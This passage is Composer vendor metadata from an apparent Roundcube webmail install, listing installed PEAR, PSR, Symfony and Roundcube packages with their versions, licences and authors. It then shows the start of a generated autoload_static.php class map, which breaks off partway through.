                "reference": "611c5bff2e47ec5a184748cb5fedc2869098ff28",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "ext-xml": "*",
                "pear/pear_exception": "^1.0.0",
                "php": ">=5.3.0"
            },
            "require-dev": {
                "phpunit/phpunit": "*"
            },
            "time": "2023-04-02T18:49:53+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "Console": "./"
                },
                "exclude-from-classmap": [
                    "tests/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                ""
            ],
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Richard Quadling",
                    "email": "rquadling@gmail.com"
                },
                {
                    "name": "David Jean Louis",
                    "email": "izimobil@gmail.com"
                }
            ],
            "description": "A full featured command line options and arguments parser.",
            "homepage": "https://github.com/pear/Console_CommandLine",
            "keywords": [
                "console"
            ],
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_CommandLine",
                "source": "https://github.com/pear/Console_CommandLine"
            },
            "install-path": "../pear/console_commandline"
        },
        {
            "name": "pear/console_getopt",
            "version": "v1.4.3",
            "version_normalized": "1.4.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Console_Getopt.git",
                "reference": "a41f8d3e668987609178c7c4a9fe48fecac53fa0"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Console_Getopt/zipball/a41f8d3e668987609178c7c4a9fe48fecac53fa0",
                "reference": "a41f8d3e668987609178c7c4a9fe48fecac53fa0",
                "shasum": ""
            },
            "time": "2019-11-20T18:27:48+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "Console": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Andrei Zmievski",
                    "email": "andrei@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Stig Bakken",
                    "email": "stig@php.net",
                    "role": "Developer"
                },
                {
                    "name": "Greg Beaver",
                    "email": "cellog@php.net",
                    "role": "Helper"
                }
            ],
            "description": "More info available on: http://pear.php.net/package/Console_Getopt",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_Getopt",
                "source": "https://github.com/pear/Console_Getopt"
            },
            "install-path": "../pear/console_getopt"
        },
        {
            "name": "pear/crypt_gpg",
            "version": "v1.6.9",
            "version_normalized": "1.6.9.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Crypt_GPG.git",
                "reference": "1572e126f8c8e083af6db1ebe43fcd9c7954537c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Crypt_GPG/zipball/1572e126f8c8e083af6db1ebe43fcd9c7954537c",
                "reference": "1572e126f8c8e083af6db1ebe43fcd9c7954537c",
                "shasum": ""
            },
            "require": {
                "ext-mbstring": "*",
                "pear/console_commandline": "*",
                "pear/pear_exception": "*",
                "php": ">=5.4.8"
            },
            "require-dev": {
                "phpstan/phpstan": "^1.2",
                "phpunit/phpunit": "^9"
            },
            "suggest": {
                "ext-posix": "May require the posix PHP extension"
            },
            "time": "2024-03-23T10:43:40+00:00",
            "bin": [
                "scripts/crypt-gpg-pinentry"
            ],
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "classmap": [
                    "Crypt/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "LGPL-2.1"
            ],
            "authors": [
                {
                    "name": "Michael Gauthier",
                    "email": "mike@silverorange.com"
                },
                {
                    "name": "Nathan Fredrickson",
                    "email": "nathan@silverorange.com"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@alec.pl"
                }
            ],
            "description": "Provides an object oriented interface to the GNU Privacy Guard (GnuPG). It requires the GnuPG executable to be on the system.",
            "homepage": "https://github.com/pear/Crypt_GPG",
            "keywords": [
                "PGP",
                "encryption",
                "gnupg",
                "gpg"
            ],
            "support": {
                "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Crypt_GPG",
                "source": "https://github.com/pear/Crypt_GPG"
            },
            "install-path": "../pear/crypt_gpg"
        },
        {
            "name": "pear/mail_mime",
            "version": "1.10.12",
            "version_normalized": "1.10.12.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Mail_Mime.git",
                "reference": "d032c7c9335e96d5954ac6e93d33955f3b7246e2"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Mail_Mime/zipball/d032c7c9335e96d5954ac6e93d33955f3b7246e2",
                "reference": "d032c7c9335e96d5954ac6e93d33955f3b7246e2",
                "shasum": ""
            },
            "require": {
                "pear/pear-core-minimal": "*",
                "php": ">=5.2.0"
            },
            "time": "2024-03-10T20:20:27+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "Mail": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Cipriano Groenendal",
                    "email": "cipri@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@php.net",
                    "role": "Lead"
                }
            ],
            "description": "Mail_Mime provides classes to create MIME messages",
            "homepage": "http://pear.php.net/package/Mail_Mime",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Mail_Mime",
                "source": "https://github.com/pear/Mail_Mime"
            },
            "install-path": "../pear/mail_mime"
        },
        {
            "name": "pear/net_ldap2",
            "version": "v2.3.0",
            "version_normalized": "2.3.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_LDAP2.git",
                "reference": "6eae6d20533469ffe1c01684923cd09f0fae3b77"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_LDAP2/zipball/6eae6d20533469ffe1c01684923cd09f0fae3b77",
                "reference": "6eae6d20533469ffe1c01684923cd09f0fae3b77",
                "shasum": ""
            },
            "require": {
                "ext-ldap": "*",
                "pear/pear-core-minimal": "^1.10.1"
            },
            "require-dev": {
                "phpunit/phpunit": "^9 || ^10.3"
            },
            "time": "2023-10-12T20:00:01+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "classmap": [
                    "Net/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "."
            ],
            "license": [
                "LGPL-3.0"
            ],
            "description": "Object oriented interface for searching and manipulating LDAP-entries",
            "homepage": "http://pear.php.net/package/Net_LDAP2",
            "keywords": [
                "PEAR",
                "ldap"
            ],
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_LDAP2",
                "source": "https://github.com/pear/Net_LDAP2"
            },
            "install-path": "../pear/net_ldap2"
        },
        {
            "name": "pear/net_sieve",
            "version": "1.4.7",
            "version_normalized": "1.4.7.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_Sieve.git",
                "reference": "31b3ef38d75e681d5589c5ed2267314b79c1dfe8"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_Sieve/zipball/31b3ef38d75e681d5589c5ed2267314b79c1dfe8",
                "reference": "31b3ef38d75e681d5589c5ed2267314b79c1dfe8",
                "shasum": ""
            },
            "require": {
                "pear/net_socket": "~1.2",
                "pear/pear-core-minimal": "~1.10",
                "php": ">=5.6.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^9"
            },
            "suggest": {
                "pear/auth_sasl": "Install optionally via your project's composer.json"
            },
            "time": "2024-04-08T07:54:10+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "classmap": [
                    "./"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@alec.pl",
                    "role": "Lead"
                },
                {
                    "name": "Jan Schneider",
                    "email": "jan@horde.org",
                    "role": "Lead"
                },
                {
                    "name": "Richard Heyes",
                    "email": "richard@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Damian Fernandez Sosa",
                    "email": "damlists@cnba.uba.ar",
                    "role": "Lead"
                },
                {
                    "name": "Anish Mistry",
                    "email": "amistry@am-productions.biz",
                    "role": "Lead"
                }
            ],
            "description": "More info available on: https://pear.php.net/package/Net_Sieve",
            "support": {
                "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Sieve",
                "source": "https://github.com/pear/Net_Sieve"
            },
            "install-path": "../pear/net_sieve"
        },
        {
            "name": "pear/net_smtp",
            "version": "1.10.1",
            "version_normalized": "1.10.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_SMTP.git",
                "reference": "cfd963dc5cc73b4d64c7769e47dfa0f439dec536"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_SMTP/zipball/cfd963dc5cc73b4d64c7769e47dfa0f439dec536",
                "reference": "cfd963dc5cc73b4d64c7769e47dfa0f439dec536",
                "shasum": ""
            },
            "require": {
                "pear/net_socket": "@stable",
                "pear/pear-core-minimal": "@stable",
                "php": ">=5.4.0"
            },
            "require-dev": {
                "phpunit/phpunit": "*"
            },
            "suggest": {
                "pear/auth_sasl": "Install optionally via your project's composer.json"
            },
            "time": "2022-09-23T21:48:50+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "Net": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Jon Parise",
                    "email": "jon@php.net",
                    "homepage": "https://www.indelible.org",
                    "role": "Lead"
                },
                {
                    "name": "Chuck Hagenbuch",
                    "email": "chuck@horde.org",
                    "role": "Lead"
                },
                {
                    "name": "Armin Graefe",
                    "email": "schengawegga@gmail.com",
                    "role": "Lead"
                }
            ],
            "description": "An implementation of the SMTP protocol",
            "homepage": "https://pear.github.io/Net_SMTP/",
            "keywords": [
                "email",
                "mail",
                "smtp"
            ],
            "support": {
                "issues": "https://github.com/pear/Net_SMTP/issues",
                "source": "https://github.com/pear/Net_SMTP"
            },
            "install-path": "../pear/net_smtp"
        },
        {
            "name": "pear/net_socket",
            "version": "v1.2.2",
            "version_normalized": "1.2.2.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_Socket.git",
                "reference": "bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_Socket/zipball/bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09",
                "reference": "bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09",
                "shasum": ""
            },
            "require": {
                "pear/pear_exception": "*"
            },
            "require-dev": {
                "phpunit/phpunit": "*"
            },
            "time": "2015-03-22T15:48:19+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "Net": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "PHP License"
            ],
            "authors": [
                {
                    "name": "Chuck Hagenbuch",
                    "email": "chuck@horde.org",
                    "role": "Lead"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Stig Bakken",
                    "email": "stig@php.net",
                    "role": "Lead"
                }
            ],
            "description": "More info available on: http://pear.php.net/package/Net_Socket",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Socket",
                "source": "https://github.com/pear/Net_Socket"
            },
            "install-path": "../pear/net_socket"
        },
        {
            "name": "pear/pear-core-minimal",
            "version": "v1.10.15",
            "version_normalized": "1.10.15.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/pear-core-minimal.git",
                "reference": "ce0adade8b97561656ace07cdaac4751c271ea8c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/pear-core-minimal/zipball/ce0adade8b97561656ace07cdaac4751c271ea8c",
                "reference": "ce0adade8b97561656ace07cdaac4751c271ea8c",
                "shasum": ""
            },
            "require": {
                "pear/console_getopt": "~1.4",
                "pear/pear_exception": "~1.0",
                "php": ">=5.4"
            },
            "replace": {
                "rsky/pear-core-min": "self.version"
            },
            "time": "2024-03-16T18:41:45+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "classmap": [
                    "src/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "src/"
            ],
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Christian Weiske",
                    "email": "cweiske@php.net",
                    "role": "Lead"
                }
            ],
            "description": "Minimal set of PEAR core files to be used as composer dependency",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR",
                "source": "https://github.com/pear/pear-core-minimal"
            },
            "install-path": "../pear/pear-core-minimal"
        },
        {
            "name": "pear/pear_exception",
            "version": "v1.0.2",
            "version_normalized": "1.0.2.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/PEAR_Exception.git",
                "reference": "b14fbe2ddb0b9f94f5b24cf08783d599f776fff0"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/PEAR_Exception/zipball/b14fbe2ddb0b9f94f5b24cf08783d599f776fff0",
                "reference": "b14fbe2ddb0b9f94f5b24cf08783d599f776fff0",
                "shasum": ""
            },
            "require": {
                "php": ">=5.2.0"
            },
            "require-dev": {
                "phpunit/phpunit": "<9"
            },
            "time": "2021-03-21T15:43:46+00:00",
            "type": "class",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.0.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "classmap": [
                    "PEAR/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "."
            ],
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Helgi Thormar",
                    "email": "dufuz@php.net"
                },
                {
                    "name": "Greg Beaver",
                    "email": "cellog@php.net"
                }
            ],
            "description": "The PEAR Exception base class.",
            "homepage": "https://github.com/pear/PEAR_Exception",
            "keywords": [
                "exception"
            ],
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR_Exception",
                "source": "https://github.com/pear/PEAR_Exception"
            },
            "install-path": "../pear/pear_exception"
        },
        {
            "name": "psr/http-client",
            "version": "1.0.3",
            "version_normalized": "1.0.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/http-client.git",
                "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/http-client/zipball/bb5906edc1c324c9a05aa0873d40117941e5fa90",
                "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90",
                "shasum": ""
            },
            "require": {
                "php": "^7.0 || ^8.0",
                "psr/http-message": "^1.0 || ^2.0"
            },
            "time": "2023-09-23T14:17:50+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.0.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Psr\\Http\\Client\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "Common interface for HTTP clients",
            "homepage": "https://github.com/php-fig/http-client",
            "keywords": [
                "http",
                "http-client",
                "psr",
                "psr-18"
            ],
            "support": {
                "source": "https://github.com/php-fig/http-client"
            },
            "install-path": "../psr/http-client"
        },
        {
            "name": "psr/http-factory",
            "version": "1.1.0",
            "version_normalized": "1.1.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/http-factory.git",
                "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/http-factory/zipball/2b4765fddfe3b508ac62f829e852b1501d3f6e8a",
                "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a",
                "shasum": ""
            },
            "require": {
                "php": ">=7.1",
                "psr/http-message": "^1.0 || ^2.0"
            },
            "time": "2024-04-15T12:06:14+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.0.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Psr\\Http\\Message\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "PSR-17: Common interfaces for PSR-7 HTTP message factories",
            "keywords": [
                "factory",
                "http",
                "message",
                "psr",
                "psr-17",
                "psr-7",
                "request",
                "response"
            ],
            "support": {
                "source": "https://github.com/php-fig/http-factory"
            },
            "install-path": "../psr/http-factory"
        },
        {
            "name": "psr/http-message",
            "version": "2.0",
            "version_normalized": "2.0.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/http-message.git",
                "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/http-message/zipball/402d35bcb92c70c026d1a6a9883f06b2ead23d71",
                "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71",
                "shasum": ""
            },
            "require": {
                "php": "^7.2 || ^8.0"
            },
            "time": "2023-04-04T09:54:51+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.0.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Psr\\Http\\Message\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "Common interface for HTTP messages",
            "homepage": "https://github.com/php-fig/http-message",
            "keywords": [
                "http",
                "http-message",
                "psr",
                "psr-7",
                "request",
                "response"
            ],
            "support": {
                "source": "https://github.com/php-fig/http-message/tree/2.0"
            },
            "install-path": "../psr/http-message"
        },
        {
            "name": "ralouphie/getallheaders",
            "version": "3.0.3",
            "version_normalized": "3.0.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/ralouphie/getallheaders.git",
                "reference": "120b605dfeb996808c31b6477290a714d356e822"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
                "reference": "120b605dfeb996808c31b6477290a714d356e822",
                "shasum": ""
            },
            "require": {
                "php": ">=5.6"
            },
            "require-dev": {
                "php-coveralls/php-coveralls": "^2.1",
                "phpunit/phpunit": "^5 || ^6.5"
            },
            "time": "2019-03-08T08:55:37+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "files": [
                    "src/getallheaders.php"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Ralph Khattar",
                    "email": "ralph.khattar@gmail.com"
                }
            ],
            "description": "A polyfill for getallheaders.",
            "support": {
                "issues": "https://github.com/ralouphie/getallheaders/issues",
                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
            },
            "install-path": "../ralouphie/getallheaders"
        },
        {
            "name": "roundcube/plugin-installer",
            "version": "0.3.7",
            "version_normalized": "0.3.7.0",
            "source": {
                "type": "git",
                "url": "https://github.com/roundcube/plugin-installer.git",
                "reference": "f77c307b7d4e4000cb423cc3fac69fb1a9187aad"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/roundcube/plugin-installer/zipball/f77c307b7d4e4000cb423cc3fac69fb1a9187aad",
                "reference": "f77c307b7d4e4000cb423cc3fac69fb1a9187aad",
                "shasum": ""
            },
            "require": {
                "composer-plugin-api": "^2.1",
                "php": ">=7.3 <8.4",
                "roundcube/roundcubemail": "*"
            },
            "require-dev": {
                "composer/composer": "^2.1",
                "ergebnis/composer-normalize": "^2.13",
                "friendsofphp/php-cs-fixer": "^3.0",
                "phpstan/extension-installer": "^1.1",
                "phpstan/phpstan": "^1.2",
                "phpstan/phpstan-deprecation-rules": "^1.0",
                "phpstan/phpstan-strict-rules": "^1.3"
            },
            "time": "2024-05-16T18:36:45+00:00",
            "type": "composer-plugin",
            "extra": {
                "class": [
                    "Roundcube\\Composer\\RoundcubeInstaller"
                ]
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Roundcube\\Composer\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Thomas Bruederli",
                    "email": "thomas@roundcube.net"
                },
                {
                    "name": "Till Klampaeckel",
                    "email": "till@php.net"
                },
                {
                    "name": "Philip Weir",
                    "email": "roundcube@tehinterweb.co.uk"
                }
            ],
            "description": "A composer-installer for Roundcube plugins and skins.",
            "support": {
                "issues": "https://github.com/roundcube/plugin-installer/issues",
                "source": "https://github.com/roundcube/plugin-installer/tree/0.3.7"
            },
            "install-path": "../roundcube/plugin-installer"
        },
        {
            "name": "roundcube/rtf-html-php",
            "version": "v2.2",
            "version_normalized": "2.2.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/roundcube/rtf-html-php.git",
                "reference": "a3432ca249b73bf24fec50114191a63ad8b1478c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/roundcube/rtf-html-php/zipball/a3432ca249b73bf24fec50114191a63ad8b1478c",
                "reference": "a3432ca249b73bf24fec50114191a63ad8b1478c",
                "shasum": ""
            },
            "require": {
                "ext-iconv": "*",
                "ext-mbstring": "*",
                "php": ">=5.4"
            },
            "require-dev": {
                "phpstan/phpstan": "^1.2",
                "phpunit/phpunit": "^4.8.36 || ^5.7.21 || ^6 || ^7 | ^9.6"
            },
            "time": "2023-12-31T14:01:02+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "RtfHtmlPhp\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-2.0"
            ],
            "authors": [
                {
                    "name": "Alexander van Oostenrijk",
                    "email": "alex.vanoostenrijk@gmail.com"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@alec.pl"
                }
            ],
            "description": "RTF to HTML converter in PHP",
            "keywords": [
                "converter",
                "rtf"
            ],
            "support": {
                "issues": "https://github.com/roundcube/rtf-html-php/issues",
                "source": "https://github.com/roundcube/rtf-html-php/tree/v2.2"
            },
            "install-path": "../roundcube/rtf-html-php"
        },
        {
            "name": "symfony/deprecation-contracts",
            "version": "v2.5.3",
            "version_normalized": "2.5.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/symfony/deprecation-contracts.git",
                "reference": "80d075412b557d41002320b96a096ca65aa2c98d"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/80d075412b557d41002320b96a096ca65aa2c98d",
                "reference": "80d075412b557d41002320b96a096ca65aa2c98d",
                "shasum": ""
            },
            "require": {
                "php": ">=7.1"
            },
            "time": "2023-01-24T14:02:46+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-main": "2.5-dev"
                },
                "thanks": {
                    "name": "symfony/contracts",
                    "url": "https://github.com/symfony/contracts"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "files": [
                    "function.php"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Nicolas Grekas",
                    "email": "p@tchwork.com"
                },
                {
                    "name": "Symfony Community",
                    "homepage": "https://symfony.com/contributors"
                }
            ],
            "description": "A generic function and convention to trigger deprecation notices",
            "homepage": "https://symfony.com",
            "support": {
                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.3"
            },
            "funding": [
                {
                    "url": "https://symfony.com/sponsor",
                    "type": "custom"
                },
                {
                    "url": "https://github.com/fabpot",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                    "type": "tidelift"
                }
            ],
            "install-path": "../symfony/deprecation-contracts"
        }
    ],
    "dev": false,
    "dev-package-names": []
}
PKh�\3�MEE#vendor/composer/autoload_static.phpnu�[���<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4
{
    public static $files = array (
        '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
        '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php',
        '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php',
    );

    public static $prefixLengthsPsr4 = array (
        'R' => 
        array (
            'RtfHtmlPhp\\' => 11,
            'Roundcube\\Composer\\' => 19,
        ),
        'P' => 
        array (
            'Psr\\Http\\Message\\' => 17,
            'Psr\\Http\\Client\\' => 16,
        ),
        'M' => 
        array (
            'Masterminds\\' => 12,
        ),
        'G' => 
        array (
            'GuzzleHttp\\Psr7\\' => 16,
            'GuzzleHttp\\Promise\\' => 19,
            'GuzzleHttp\\' => 11,
        ),
        'D' => 
        array (
            'DASPRiD\\Enum\\' => 13,
        ),
        'B' => 
        array (
            'BaconQrCode\\' => 12,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'RtfHtmlPhp\\' => 
        array (
            0 => __DIR__ . '/..' . '/roundcube/rtf-html-php/src',
        ),
        'Roundcube\\Composer\\' => 
        array (
            0 => __DIR__ . '/..' . '/roundcube/plugin-installer/src',
        ),
        'Psr\\Http\\Message\\' => 
        array (
            0 => __DIR__ . '/..' . '/psr/http-message/src',
            1 => __DIR__ . '/..' . '/psr/http-factory/src',
        ),
        'Psr\\Http\\Client\\' => 
        array (
            0 => __DIR__ . '/..' . '/psr/http-client/src',
        ),
        'Masterminds\\' => 
        array (
            0 => __DIR__ . '/..' . '/masterminds/html5/src',
        ),
        'GuzzleHttp\\Psr7\\' => 
        array (
            0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src',
        ),
        'GuzzleHttp\\Promise\\' => 
        array (
            0 => __DIR__ . '/..' . '/guzzlehttp/promises/src',
        ),
        'GuzzleHttp\\' => 
        array (
            0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src',
        ),
        'DASPRiD\\Enum\\' => 
        array (
            0 => __DIR__ . '/..' . '/dasprid/enum/src',
        ),
        'BaconQrCode\\' => 
        array (
            0 => __DIR__ . '/..' . '/bacon/bacon-qr-code/src',
        ),
    );

    public static $prefixesPsr0 = array (
        'N' => 
        array (
            'Net' => 
            array (
                0 => __DIR__ . '/..' . '/pear/net_socket',
                1 => __DIR__ . '/..' . '/pear/net_smtp',
            ),
        ),
        'M' => 
        array (
            'Mail' => 
            array (
                0 => __DIR__ . '/..' . '/pear/mail_mime',
            ),
        ),
        'C' => 
        array (
            'Console' => 
            array (
                0 => __DIR__ . '/..' . '/pear/console_getopt',
                1 => __DIR__ . '/..' . '/pear/console_commandline',
            ),
        ),
        'A' => 
        array (
            'Auth' => 
            array (
                0 => __DIR__ . '/..' . '/pear/auth_sasl',
            ),
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
        'Crypt_GPG' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG.php',
        'Crypt_GPGAbstract' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPGAbstract.php',
        'Crypt_GPG_BadPassphraseException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_DeletePrivateKeyException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_Engine' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Engine.php',
        'Crypt_GPG_Exception' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_FileException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_InvalidKeyParamsException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_InvalidOperationException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_Key' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Key.php',
        'Crypt_GPG_KeyGenerator' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/KeyGenerator.php',
        'Crypt_GPG_KeyNotCreatedException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_KeyNotFoundException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_NoDataException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_OpenSubprocessException' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
        'Crypt_GPG_PinEntry' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/PinEntry.php',
